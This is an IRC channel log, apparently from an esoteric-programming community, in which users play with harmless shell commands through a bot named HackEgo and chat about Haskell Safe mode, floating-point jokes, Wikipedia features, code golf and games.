23:53:51 <b_jonas> or possibly more because netstat is more expensive and invasive to processes' private file descriptors
23:53:59 <myname> b_jonas: i use grep on the output of find . because i always forget the correct arguments
2016-06-06
00:40:29 -!- moon_ has joined.
00:42:28 <moon_> `ls
00:42:35 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
00:42:59 <moon_> `cat canary
00:43:00 <HackEgo> cat: canary: No such file or directory
00:43:28 <moon_> it lies'
00:43:45 <moon_> `url imaginaryfile
00:43:47 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/imaginaryfile
00:43:48 <moon_> `url canary
00:43:52 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/canary
00:44:45 <shachaf> `` for i in {1..10}; do echo -n $((RANDOM % 2)); done
00:44:46 <HackEgo> 01101100000
00:44:46 <shachaf> `` for i in {1..10}; do echo -n $((RANDOM % 2)); done
00:44:47 <HackEgo> 0101010000001
00:48:46 -!- oerjan has joined.
01:04:22 <moon_> `brand 8
01:04:23 <HackEgo> 32435873
01:05:32 -!- copumpkin has joined.
01:06:15 <shachaf> Why are you modifying HackEgo in secret?
01:07:10 <moon_> not to spam chat
01:07:14 <moon_> as i work :P
01:08:35 <tswett> `cat bin/brand
01:08:35 <b_jonas> hehe
01:08:36 <HackEgo> for i in {1..10}; do echo -n $((RANDOM % ($1+1))); done
01:08:41 <b_jonas> we had this discussion we me as well
01:08:49 <b_jonas> me modifying hackego in private message that is
01:08:50 <tswett> `brand 3
01:08:51 <HackEgo> 1311310101
01:09:05 <tswett> `brand 12
01:09:06 <HackEgo> 0310101215843
01:09:17 <moon_> thats a good way to exceed the limit lol
01:09:25 <shachaf> What's the point?
01:09:29 <shachaf> Why did you make that command?
01:09:31 <moon_> base-andom
01:09:42 <moon_> ie random in base 2 or 3 for example
01:09:48 <shachaf> Yes, I know what it does.
01:09:58 <shachaf> But why would anyone want it?
01:10:05 <tswett> I think that result is unambiguous. 0-3-10-10-12-1-5-8-4-3
01:11:07 -!- jaboja has quit (Remote host closed the connection).
01:11:32 <tswett> `brand 12
01:11:35 <HackEgo> 34410781010710
01:12:02 -!- augur has joined.
01:13:38 <oerjan> tunes has been flaky today :(
01:14:08 <moon_> ok back my personal win to bsd ftp server was having a fit
01:16:25 <moon_> base n randomize
01:19:19 <int-e> oerjan: how scary is Data.Coerce.coerce these days?
01:24:13 <int-e> (as far as I can see it allows breaking abstractions with some abstract datatypes that don't have proper role annotiations... is there more?)
01:25:59 <int-e> but it's kind of hard to condense https://ghc.haskell.org/trac/ghc/ticket/8827 and https://ghc.haskell.org/trac/ghc/wiki/SafeRoles into a simple answer :-/
01:28:29 <oerjan> int-e: well afaiu the recursive check solution suggested in 8827 hasn't been implemented yet.
01:28:58 <oerjan> so it's still disallowed in Safe mode afaik
01:29:00 <int-e> which means that constructor visibility is only taken into account for newtypes
01:29:10 <int-e> I think.
01:29:39 <oerjan> probably.
01:30:31 <int-e> Oh, Data.Coerce is still marked Unsafe... that's not the point. I've found a module that reexports it and wants to be trusted...
01:31:17 <oerjan> aha
01:31:34 <int-e> ...and I'm just worried enough that I'm probably going to patch the code in question.
01:31:46 <b_jonas> good
01:32:35 <oerjan> i'm not exactly sure how this works today - can you _use_ coerce just because it's imported safely?
01:32:48 -!- copumpkin has quit (Read error: Connection reset by peer).
01:33:15 <oerjan> because you also need the Coercible constraints.
01:36:26 <int-e> But you don't have to write them...
01:37:04 <oerjan> no, but in the 8827 system i suggested deriving them would be the thing restricted, i think
01:37:10 <oerjan> er, *inferring
01:37:31 -!- copumpkin has joined.
01:37:31 <int-e> doesn't seem to work that way... I think that was a hypothetical design
01:37:32 <oerjan> but i guess there's nothing right now.
01:37:33 <moon_> how do i include source from one script into another? people ae saying you use 'source' but thats not a command
01:37:56 <b_jonas> moon_: um, what's the context? what language?
01:38:00 <moon_> bash
01:38:00 <oerjan> moon_: it's a bash internal command
01:38:01 <moon_> lol
01:38:01 <b_jonas> ``` help source
01:38:04 <b_jonas> ``` help .
01:38:05 <HackEgo> source: source filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is exec
01:38:06 <HackEgo> ​.: . filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is executed. \
01:38:17 <moon_> oh thx
01:40:03 <b_jonas> ``` type source
01:40:05 <HackEgo> source is a shell builtin
01:40:50 <Elronnd> why three `s?
01:40:55 <Elronnd> `` type source
01:40:55 -!- evalj has quit (Remote host closed the connection).
01:40:56 <HackEgo> source is a shell builtin
01:41:05 <Elronnd> and honestly
01:41:07 <Elronnd> you could just do
01:41:10 <Elronnd> `type source
01:41:11 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: type: not found
01:41:20 <moon_> lol
01:41:29 <Elronnd> okay, or not
01:41:37 <Elronnd> ```````` type source
01:41:39 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ```````: not found
01:41:43 <moon_> that goes fo all shell builtins
01:41:50 <moon_> ```` type source
01:41:51 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ```: not found
01:42:01 <moon_> `` type ``
01:42:01 <HackEgo> No output.
01:42:09 <moon_> `` help ``
01:42:10 <HackEgo> GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) \ These shell commands are defined internally. Type `help' to see this list. \ Type `help name' to find out more about the function `name'. \ Use `info bash' to find out more about the shell in general. \ Use `man -k' or `info' to find out more about commands not in this list. \ \ A star (
01:42:15 <Elronnd> moon_: `s mean something to the shell
01:42:21 <Elronnd> `` help `echo source`
01:42:22 <HackEgo> source: source filename [arguments] \ Execute commands from a file in the current shell. \ \ Read and execute commands from FILENAME in the current shell. The \ entries in $PATH are used to find the directory containing FILENAME. \ If any ARGUMENTS are supplied, they become the positional parameters \ when FILENAME is exec
01:42:29 <moon_> im cuious why two of them work
01:42:36 <moon_> when one will do the same
01:42:38 <Elronnd> well
01:42:45 -!- copumpkin has quit (Ping timeout: 244 seconds).
01:42:47 <Elronnd> do you know what ` means to the shell?
01:42:55 <moon_> nope!
01:43:08 <Elronnd> ` means the output of whatever is inside of here
01:43:08 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
01:43:17 <Elronnd> and $() does too
01:43:20 -!- augur has quit (Quit: Leaving...).
01:43:21 <Elronnd> so `echo foo`
01:43:27 <Elronnd> the output of echo foo is just "foo"
01:43:33 <Elronnd> so `echo foo` gets turned into foo
01:43:42 <Elronnd> `` there's nothing there
01:43:43 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
01:43:45 <moon_> i see why two work now
01:43:52 <Elronnd> so nothing gets outputted
01:43:59 <Elronnd> so the shells just sees "help"
01:44:01 <moon_> thx
01:44:01 <Elronnd> or "type"
01:44:03 <Elronnd> all by itself
01:45:04 <tswett> So I thought of a rather ridiculous mathematical operation. It works on functions on double-precision floating point numbers.
01:45:10 <tswett> It's the "bunk derivative".
01:45:19 <Elronnd> what is it?
01:45:56 <tswett> Given a function f, the bunk derivative f'(x) is (f(y) - f(x))/(y - x), where y is the lowest double-precision float which is greater than x.
01:46:48 <int-e> oerjan: https://hackage.haskell.org/package/lens-4.14/docs/Control-Lens-Internal-Coerce.html is the evil one... now no longer trusted
01:47:09 <tswett> Imagine, say, the bunk derivative of the function f(x) = 1.5x.
01:47:52 <Phantom_Hoover> is this not just an odd finite derivative
01:48:14 <tswett> Yeah.
01:48:54 <tswett> I think that in the range [1,2], that bunk derivative is going to simply rapidly alternate between 1 and 2.
01:49:00 <oerjan> Elronnd: some people (i think zzo38) wanted a version of `` with C locale, so they created ```. although both have grown more cruft since then.
01:49:16 <Elronnd> "C locale"?
01:49:18 <Elronnd> ``` env
01:49:20 <HackEgo> TERM=linux \ http_proxy=http://127.0.0.1:3128 \ HACKENV=/hackenv \ PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin \ PWD=/hackenv \ LANG=C \ HOME=/tmp \ SHLVL=1 \ _=/usr/bin/env
01:49:45 <oerjan> Elronnd: some commands behave simpler then
01:49:49 <oerjan> e.g. sort
01:50:01 <Elronnd> ah, k
01:50:04 <moon_> lang=c....
01:50:08 <moon_> ``` int main() {}
01:50:10 <HackEgo> bash: -c: line 0: syntax error near unexpected token `(' \ bash: -c: line 0: `int main() {}'
01:50:13 <moon_> lol
01:50:16 <moon_> im an idiot
01:50:22 <moon_> who does stupid things
01:50:32 -!- augur has joined.
01:50:45 <Phantom_Hoover> tswett, x - y is always an ulp, right?
01:50:50 <oerjan> moon_: it's not what it's written in. it's for historical reasons used to name a locale that treats everything as ASCII with no fancy internationalization.
01:51:09 <moon_> oh lol
01:51:25 <Elronnd> moon_:
01:51:32 <moon_> ?
01:51:41 <Elronnd> main() { echo foo; echo bar; echo baz; }; main
01:51:57 <Elronnd> Gah
01:52:01 <Elronnd> ``` main() { echo foo; echo bar; echo baz; }; main
01:52:03 <HackEgo> foo \ bar \ baz
01:52:04 <tswett> Phantom_Hoover: sounds about right.
01:52:28 <moon_> looks like pseudocode now
01:52:58 <oerjan> tswett: does it use denormalized numbers for 0? >:)
01:53:21 <tswett> It'll do denormals, yeah.
01:53:46 <moon_> ``` main() {}
01:53:48 <HackEgo> bash: -c: line 0: syntax error near unexpected token `{}' \ bash: -c: line 0: `main() {}'
01:54:19 <oerjan> Elronnd: there's of course also `run, which is the HackEgo builtin version that cannot be overridden.
01:55:39 <oerjan> moon_: it's a bash function, not a C function. and bash doesn't really treat main() specially.
01:55:42 <oerjan> afaik
01:56:10 <shachaf> `` echo $'\U40441'
01:56:11 <HackEgo> ​񀑁
01:56:30 -!- hppavilion[1] has joined.
01:56:33 <shachaf> oops
01:56:39 <moon_> invalid character shachaf
01:56:48 <shachaf> you're an invalid character
01:56:49 <shachaf> hth
01:56:59 <moon_> no
01:57:04 <oerjan> `` unidecode $'\U40441'
01:57:09 <HackEgo> U+40441 - No such unicode character name in database \ UTF-8: f1 80 91 81 UTF-16BE: d8c1dc41 Decimal: &#263233; \ 񀑁 (񀑁) \ Uppercase: U+40441 \ Category: Cn (Other, Not Assigned)
01:57:15 <shachaf> Anyway I got it wrong.
01:58:08 <moon_> no.. im ☾_
01:58:28 <oerjan> that's definitely an illegal character
01:58:33 <oerjan> `? ørjan
01:58:36 <HackEgo> ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
01:58:45 <shachaf> http://www.itsnameisthemoon.com/
01:58:54 <shachaf> Your name isn't the Moon.
01:59:09 <moon_> http://faceofdisapproval.com/
01:59:27 <shachaf> http://faceofgoaway.com/
01:59:37 <oerjan> `learn ☾_ is moon_'s lawful twin. He's banned in the IRC RFC for being an invalid character. He sometimes eats papers.
01:59:41 <HackEgo> Learned '☾_': ☾_ is moon_'s lawful twin. He's banned in the IRC RFC for being an invalid character. He sometimes eats papers.
02:00:25 <moon_> Error 404: Site not found, did you mean http://faceofdisapproval.com/ , operator shachaf?
02:01:03 <oerjan> http://faceofstopbickeringyoutwo.com/
02:01:20 <Elronnd> http://faceofwhyamiinthischannel.com/index.pl
02:01:53 <moon_> http://faceofwhydidimakealinkopeningbot/
02:02:11 <shachaf> oerjan: See, this time it's perfectly legitimate to call it bickering.
02:02:15 <oerjan> http://faceofomgisitamemealready.no/
02:03:11 <Elronnd> https://whyisnobodyusingsslintheirurl.se/index.pyp
02:03:35 <shachaf> Oh, I see what I did wrong.
02:03:44 <oerjan> ftp://imfeelingoldfashioned.net/
02:03:57 <moon_> oh my god, fake url world
02:04:22 <Elronnd> gopher://imfeelingreallyoldfashioned.org/
02:04:35 <shachaf> `` echo $'\Ue0820'
02:04:36 <HackEgo> ​󠠠
02:04:37 <shachaf> `` echo $'\Ue0820' | rnooodl | xxd
02:04:38 <HackEgo> 00000000000000: f3a0 a0a0 0a .....
02:05:24 <moon_> by the way oejan, i do not eat chlorine, acids, and treated woodpulps
02:05:56 <oerjan> moon_: no, but http://www.itsnameisthemoon.com/
02:05:58 <oerjan> argh
02:06:11 * oerjan thought he still had it in the clipboard
02:06:12 <moon_> No.
02:06:17 <moon_> Gg
02:06:29 <oerjan> moon_: rice papers then?
02:06:38 <moon_> Sure
02:07:32 <oerjan> beware, it's been cleaned with dihydrogen monoxide
02:07:44 <moon_> *turns oerjan into ric- really, no then
02:08:02 <moon_> Candy floss woven into paper (=
02:08:25 <oerjan> dandruff woven into paper
02:08:31 <moon_> No
02:08:35 <moon_> Edible paper
02:08:42 <oerjan> (i somehow managed to read candy floss as that for about 0.5 s)
02:08:52 <oerjan> i'm sure dandruff is edible hth
02:09:34 <hppavilion[1]> We put satellites in orbit, but there's absolutely nothing in orbyte
02:09:45 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:10:14 <oerjan> hppavilion[1]: you could try and put them in a hole in the ground, but that would be orwellian
02:10:39 <zzo38> It also won't be very good satellites.
02:11:01 <hppavilion[1]> oerjan: It took me far too long to get that joke
02:11:09 <hppavilion[1]> (The joke is a well is a hole in the ground, right?)
02:11:12 <oerjan> . o O ( a satellite made of dark matter, orbiting _inside_ earth without affecting it )
02:11:30 <oerjan> hppavilion[1]: *ding ding ding*
02:11:40 <hppavilion[1]> @massagues-lowd
02:11:40 <lambdabot> Unknown command, try @list
02:11:46 <hppavilion[1]> @messages-lowd
02:11:46 <lambdabot> You don't have any messages
02:13:31 <zzo38> `danddreclist 79
02:13:32 <HackEgo> danddreclist 79: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex
02:14:15 <hppavilion[1]> Hm, typoglycemia doesn't work when the jumblation isn't random
02:14:27 <zzo38> Do you like this?
02:14:47 <shachaf> zzo38: I haven't read a danddreclist entry in many months.
02:14:54 <shachaf> Perhaps I've never read one.
02:15:19 <zzo38> Then why is your name on there?
02:15:27 <shachaf> I don't know.
02:15:55 <hppavilion[1]> Taht is, if you jsut irevnt the oedrr of the lrettes, it bemoces mcuh lses llbigee
02:16:30 * hppavilion[1] prays to the Great Finite State Machine he did that right
02:17:40 <shachaf> `learn Typoglycerine is an explosive that scrambles the letters inside a word.
02:17:43 <HackEgo> Learned 'typoglycerine': Typoglycerine is an explosive that scrambles the letters inside a word.
02:18:05 <moon_> lol
02:20:42 <hppavilion[1]> Wikipedia's "Related Pages" feature is absolutely terrible
02:21:07 <moon_> you all forgot 'moonigen tri-iodide'
02:21:14 <hppavilion[1]> Typoglycemia links to (a) Email (b) J.R.R. Tolkien (c) Hillary Clinton
02:21:17 <moon_> it causes the chat to explode with my messages
02:21:29 <hppavilion[1]> Pretty much every page seems to be related to Hillary Clinton in the minds of Wikipedia
02:21:33 <moon_> lol
02:21:42 <moon_> i bet hillary did it
02:23:50 <hppavilion[1]> moon_: Yes; there's a reason it also links to email, too
02:25:35 <moon_> (diff | hist) . . Portmanteau‎; 22:20 . . (-51)‎ . . ‎DavidLeighEllis (talk | contribs)‎ (Revert to revision 722347404 dated 2016-05-27 14:21:54 by I dream of horses using popups)
02:26:12 <moon_> 'I dream of hoses using popups'
02:28:24 <hppavilion[1]> "Broken- a portmanteau of "bro" and "ken"- is a word signifying that an object is somehow damaged to defective to the degree that it can no longer serve its intended purpose"
02:28:44 <moon_> ...
02:28:56 <moon_> what is it with wikipedia and potmanteau
02:29:21 <hppavilion[1]> moon_: "Potmanteau: A portamanteau regarding cannabis"
02:29:41 <moon_> ..............
02:31:18 <oerjan> hppavilion[1]: what related pages feature
02:31:28 <hppavilion[1]> oerjan: At the bottom of a wikipedia page
02:31:33 <hppavilion[1]> oerjan: There's a link to related pages
02:31:38 <hppavilion[1]> At least on english wikipedia
02:31:41 <hppavilion[1]> It's rather new
02:31:56 <hppavilion[1]> (not "see also" or "categories"; it's automated)
02:32:52 <hppavilion[1]> For example
02:33:07 <hppavilion[1]> https://en.wikipedia.org/wiki/Have_Some_Madeira_M'Dear links to Flanders and Swann, Hillary Clinton, and Paul McCartney
02:33:09 <oerjan> i don't see that
02:35:03 <hppavilion[1]> https://en.wikipedia.org/wiki/GNU goes to Free Software, GNU/Linux Naming Controversy, and Hillary Clinton
02:35:17 <hppavilion[1]> oerjan: It's the last thing to load, and I think it's brought in by JavaScript
02:35:23 <hppavilion[1]> Wait, I might have turned it on
02:35:32 <hppavilion[1]> It might be an experimental feature I enabled
02:35:42 <oerjan> figures
02:37:10 <hppavilion[1]> I love me some experimental unstable features
02:37:43 <hppavilion[1]> Yep, it's a gadget turned on under "Beta"
02:38:16 <hppavilion[1]> Also Hovercards
02:38:30 <hppavilion[1]> Wait, no, not gadget; beta featrures
02:39:31 <oerjan> right
02:40:38 <hppavilion[1]> Wikipedia has an option called "(This loads the base style for the watchlist. Please do not disable this option.)"
02:41:21 <oerjan> i saw that.
02:41:41 * oerjan thinks he's noticed Hovercards on some other wiki.
02:42:32 <hppavilion[1]> oerjan: I love the hovercards
02:45:44 <moon_> wait, GNU goes ti hillary clinton? it might as well go to mathmatics, hillary is no-where near related
02:47:45 <hppavilion[1]> moon_: No, I was joking there
02:47:51 <hppavilion[1]> moon_: I hoped it would, but it didn't
02:47:52 <moon_> oh lol good
02:47:56 <hppavilion[1]> moon_: It went to the GNU GPL
02:56:34 -!- moon_ has quit (Ping timeout: 250 seconds).
03:02:58 -!- FreeFull has joined.
03:53:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:54:56 <HackEgo> [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=47144&oldid=47142 * Oerjan * (-17) /* External resources */ template
03:58:01 <HackEgo> [wiki] [[Palindrome]] https://esolangs.org/w/index.php?diff=47145&oldid=47143 * Oerjan * (-17) /* External resources */ template
04:00:15 -!- hppavilion[1] has joined.
04:04:01 <HackEgo> [wiki] [[User talk:Jacek Michalak]] N https://esolangs.org/w/index.php?oldid=47146 * Oerjan * (+251) Welcome
04:08:48 -!- FreeFull has quit (Quit: Sleep).
04:14:57 -!- Moon_ has joined.
04:14:58 <Moon_> Hi
04:19:04 -!- Moon__ has joined.
04:19:20 -!- Moon_ has quit (Ping timeout: 250 seconds).
04:19:20 <Moon__> Bck
04:19:23 <oerjan> argh moons everywhere. get off my lawn!
04:19:32 <Moon__> (;
04:20:47 <Moon__> 🌙_ didn't visit today
04:21:40 <Moon__> Made customized magma forge jobs use metal instead of making things out of coal Adjusted conflict code to stop taverngoers from joining siegers over petty grievances Fixed material overcount in adv site work menu
04:21:44 <oerjan> @ask b_jonas <b_jonas> myname: but I mean, using grep for that is as much of a crime as using grep on ps output <-- what's wrong with that now ;_;
04:21:44 <lambdabot> Consider it noted.
04:22:35 <Moon__> Df buglogs can be entertaining
04:22:40 <oerjan> Moon__: so basically, you buttressed your fortress?
04:23:04 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:23:23 <Moon__> No. I did make metal thrones out of coke however.
04:23:41 <Moon__> I don't own do
04:23:50 <Moon__> Toady one the great does
04:24:00 <oerjan> OKAY
04:25:46 <Moon__> Also,dwarf fortress is Turing complete
04:27:12 <Moon__> Was that caps or death speech
04:27:26 <oerjan> YES
04:27:47 <Moon__> Ok thanks
04:27:58 <Moon__> iOS displays it as caps
04:28:04 <oerjan> fancy
04:28:50 <Moon__> https://m.youtube.com/watch?v=j2cMHwo3nAU
04:30:04 <Moon__> FPS: 0-1
04:30:10 <Moon__> That stinks
04:30:17 * oerjan stealthily removes the m.
04:31:05 <Moon__> No
04:31:16 <Moon__> Don't steal my username letters
04:31:24 -!- zenobit has joined.
04:31:40 <Moon__> Hi
04:31:45 <zenobit> hi.
04:32:12 <Moon__> You new?
04:32:17 <zenobit> not really.
04:32:22 <Moon__> I've never seen y- kl
04:32:40 <Moon__> I was prepared to `welcome
04:32:43 <Moon__> ):
04:32:48 <oerjan> Moon__: it was from the youtube link hth
04:33:04 <zenobit> :P
04:33:53 <Moon__> We need newpe- I realized the chat from when I joined is almost 90% messages from me.
04:33:54 <oerjan> you cannot ever see zenobit because first you have to see the first half bit, then the next quarter, etc.
04:34:29 <zenobit> thank god.
04:34:31 <zenobit> someone gets it.
04:34:48 <oerjan> zenobit: wait, am i really the first?
04:35:01 <oerjan> Moon__: so are you moonologing
04:35:16 <Moon__> Haha very funny
04:35:25 <zenobit> oerjan: you are indeed.
04:35:59 <zgrep> zenobit: Oh. That's right. It can also be spelled zeno... I've always spelled it xeno. ._.
04:36:02 <oerjan> yay
04:36:12 <zenobit> zgrep: eyyy!
04:36:16 <oerjan> i think xeno is something else?
04:36:21 -!- Melvar` has joined.
04:36:42 <zgrep> Wikipedia redirects Xeno's Paradox to Zeno's Paradox
04:36:50 <zgrep> .
04:37:32 <Moon__> Hi melvar, you new?
04:38:03 -!- Melvar has quit (Ping timeout: 246 seconds).
04:38:05 <zenobit> I named my MOV architecture Zeno. nobody gets that either.
04:38:12 <Moon__> Lol
04:38:30 <Moon__> We all get. It now
04:39:36 <oerjan> Zena the Philosopher Princess
04:39:39 <Moon__> http://golf.shinh.org/p.rb?Turn+a+1d+array+into+a+5d+array
04:40:09 <Moon__> Ima just wait for a annoying esolang to be named moon_
04:41:47 -!- Kaynato has quit (Ping timeout: 250 seconds).
04:41:50 <oerjan> Moon__: that's a ridiculously bad golf problem, especially once you know shinh.org cares only about getting the right output for the test case(s)
04:42:32 <oerjan> also, the output seems to have no connection to the question...
04:42:36 <zenobit> turn a 1D array into a 5D array?
04:43:14 <zenobit> keep it as a 1D array and compute a 1D index from a 5D vector.
04:44:02 <oerjan> zenobit: that's the description, but clearly not what it's doing.
04:44:12 <Moon__> That's why I pointed it out permanent
04:44:17 <Moon__> I didn't make it
04:47:31 * oerjan beats the haskell version with a trivial trick
04:47:41 <zgrep> zenobit: Your architecture will never finish executing an instruction, then?
04:48:15 -!- Melvar` has quit (Ping timeout: 276 seconds).
04:48:20 <zenobit> zgrep: you'd think, but somehow, it runs!
04:48:23 <zgrep> :O
04:48:41 <zenobit> https://bitbucket.org/little-bit/zeno
04:48:55 -!- Melvar` has joined.
04:49:49 <Moon__> Hi
04:49:51 <Moon__> U new?
04:54:57 <oerjan> oh, when i tried doing it properly, i just tied them
04:55:27 <oerjan> Melvar` is very old
04:56:32 <Moon__> Oh
04:56:57 <Moon__> https://github.com/nooodl/gs2 golfscript 2. Makes a n sized as trick triangle in 7 bytes
04:57:18 <Moon__> *astrick
04:57:21 * oerjan shaves off a byte
04:57:24 <Moon__> I can't spell
04:57:37 <Moon__> Golfscript does it in 11
04:58:22 <zgrep> ByteShave... as opposed to BurmaShave...
04:58:45 <zzo38> If you are playing at Magic: the Gathering, will you counteract provoke by convoke?
04:58:57 <oerjan> oh that was better
04:59:05 <oerjan> down to 42
04:59:21 <Moon__> What are you doing?
04:59:44 <oerjan> Moon__: solving the golf problem in haskell
05:00:30 <Moon__> Lol
05:00:43 <Moon__> Try gs2, it might do it really we'll
05:01:11 <oerjan> i don't know gs2 and i don't really care
05:04:19 <Moon__> `brand 2
05:04:25 <HackEgo> 1110101110
05:04:43 <Moon__> '`brand 3
05:04:46 -!- Melvar`` has joined.
05:04:49 <shachaf> `card-by-name provoke
05:04:51 <HackEgo> Provoke \ 1G \ Instant \ Untap target creature you don't control. That creature blocks this turn if able. \ Draw a card. \ ST-C, CNS-C, VMA-C
05:04:53 <shachaf> `card-by-name convoke
05:04:53 <HackEgo> No output.
05:05:01 <Moon__> `brand 3
05:05:03 <HackEgo> 2000000121
05:05:13 <shachaf> Oh, convoke is a keyword.
05:05:20 <zzo38> shachaf: No, I mean keyword abilities provoke/convoke
05:05:35 -!- Melvar` has quit (Ping timeout: 260 seconds).
05:05:38 <shachaf> Oh, provoke is also a keyword.
05:06:02 <shachaf> zzo38: Seems unlikely but possible.
05:06:11 <shachaf> Do you play at Magic: the Gathering?
05:06:40 <zzo38> Not very often.
05:07:27 <shachaf> Do you play at Friday Night Magic™?
05:07:35 <zzo38> No
05:07:55 <zzo38> I have sometimes played on Thursday though.
05:09:20 <shachaf> With your brother?
05:09:38 <zzo38> In the tournament actually
05:09:51 <shachaf> Which tournament?
05:09:58 <zzo38> Sometimes they have draft tournament on Thursday
05:10:13 <shachaf> Grand Prix Vancouver?
05:10:15 <shachaf> Oh.
05:10:32 -!- Melvar has joined.
05:10:53 <zzo38> No it is just a game store
05:11:49 <shachaf> We should play. It would be great.
05:12:07 -!- Melvar`` has quit (Ping timeout: 250 seconds).
05:18:37 -!- Melvar has quit (Ping timeout: 250 seconds).
05:18:56 -!- Moon__ has quit (Quit: Page closed).
05:19:20 <shachaf> @tell Moon__ Please don't /msg me without asking in-channel first unless there's a good reason.
05:19:20 <lambdabot> Consider it noted.
05:19:36 -!- Melvar has joined.
05:19:55 <zenobit> eyyy, it's zzo38.
05:19:58 <zenobit> hi from #nesdev.
05:20:21 -!- Moon_ has joined.
05:21:06 <Moon_> darn iOS reloaded the page. I think
05:21:18 <zzo38> zenobit: OK, what is your other questions/complaints/suggestion please?
05:21:27 <zenobit> ..just saying hi.
05:21:31 <zzo38> OK
05:23:41 -!- Melvar` has joined.
05:23:57 <Moon_> Zzo38, I noticed flogscript
05:24:00 <Moon_> I like it
05:24:29 <Moon_> Is an interpreter available
05:25:57 -!- Melvar has quit (Ping timeout: 244 seconds).
05:26:00 <zzo38> Yes
05:26:14 <zzo38> But, it is written in PHP, so you will need to install PHP to use it.
05:26:41 <Moon_> ):
05:27:01 <Moon_> And ok I get it shachaf
05:27:06 <Moon_> I read logs you know
05:27:07 <zzo38> (This was probably a bad idea, but that is what it is, anyways)
05:27:25 <Moon_> It certainly was
05:28:34 -!- hppavilion[1] has joined.
05:28:42 <Moon_> Hi
05:29:13 <Moon_> Also, does anyone know how to get the gs2c.py and the gs2.py files in bin yo work?
05:29:29 <Moon_> I need them to execute
05:29:48 <Moon_> But python is being stubborn
05:30:17 <zzo38> Is it the wrong version of Python?
05:30:27 -!- APic has quit (Ping timeout: 264 seconds).
05:30:33 -!- heroux has quit (Ping timeout: 246 seconds).
05:30:36 <Moon_> No python thinks they don't exist
05:30:59 <Moon_> Anyone willing to insert the tag that will make the shell use python to execute them?
05:31:21 <Moon_> I'm stupid and don't get how lol
05:32:49 <zzo38> Add a shebang line and use chmod +x is I think how to do. But you could just to use the "python" command I think, shouldn't that work?
05:33:29 <Moon_> I tried
05:33:45 <Moon_> `python /bin/gs2.py
05:33:48 <HackEgo> python: can't open file '/bin/gs2.py': [Errno 2] No such file or directory
05:34:16 <zzo38> `python bin/gs2.py
05:34:18 <HackEgo> usage: python bin/gs2.py [-d] <code file>
05:34:24 <Moon_> Oh
05:34:26 <zzo38> That was what you did wrong.
05:34:48 <Moon_> `mkx gs2//python bin/gs2.py
05:34:52 <HackEgo> gs2
05:35:06 <Moon_> `mkx gs2c//python bin/gs2c.py
05:35:09 <HackEgo> gs2c
05:36:12 <Moon_> Thx
05:36:18 <Moon_> `gs2c
05:36:19 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gs2c: not found
05:36:37 <Moon_> `mv gs2c bin/gs2c
05:36:38 <HackEgo> mv: missing destination file operand after `gs2c bin/gs2c' \ Try `mv --help' for more information.
05:36:43 <zenobit> ...
05:36:49 <Moon_> I'm tired, ok?
05:36:57 <zenobit> wtf is even gs2.
05:37:05 <Moon_> Golfscript2
05:37:08 <zenobit> ah.
05:37:19 <Moon_> https://github.com/nooodl/gs2
05:39:44 -!- APic has joined.
05:40:42 <Moon_> Hi
05:41:19 <Moon_> Does bash have a way to use hex numbers?
05:41:28 <oerjan> `head gs2.py
05:41:30 <HackEgo> head: cannot open `gs2.py' for reading: No such file or directory
05:41:35 <oerjan> `head bin/gs2.py
05:41:36 <HackEgo> ​# gs2 interpreter (version 0.2) \ # (c) nooodl 2014 \ \ import copy \ import inspect \ import itertools as it \ import math \ import operator \ import os \ import random
05:41:55 <oerjan> `` ls interps/gs*
05:41:57 <HackEgo> ls: cannot access interps/gs*: No such file or directory
05:42:02 <oerjan> `` ls interps/
05:42:04 <HackEgo> 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gccccccccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unl
05:42:17 <oerjan> nah
05:42:39 <Moon_> ?
05:43:32 <oerjan> i'm too tired too
05:43:47 <Moon_> Lol
05:43:57 <Moon_> I'm on iOS, makes it worse
05:45:39 <Moon_> `` echo 0xAA
05:45:42 <HackEgo> 0xAA
05:47:12 <Moon_> Apparently it does, says the internet
05:47:13 <zenobit> well then.
05:47:42 <Moon_> `` echo (0xA + 1)
05:47:44 <HackEgo> ​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `0xA' \ /hackenv/bin/`: eval: line 4: `echo (0xA + 1)'
05:48:59 <Moon_> `` printf "0x%X\n" $(( 0x4f000+0x2000 ))
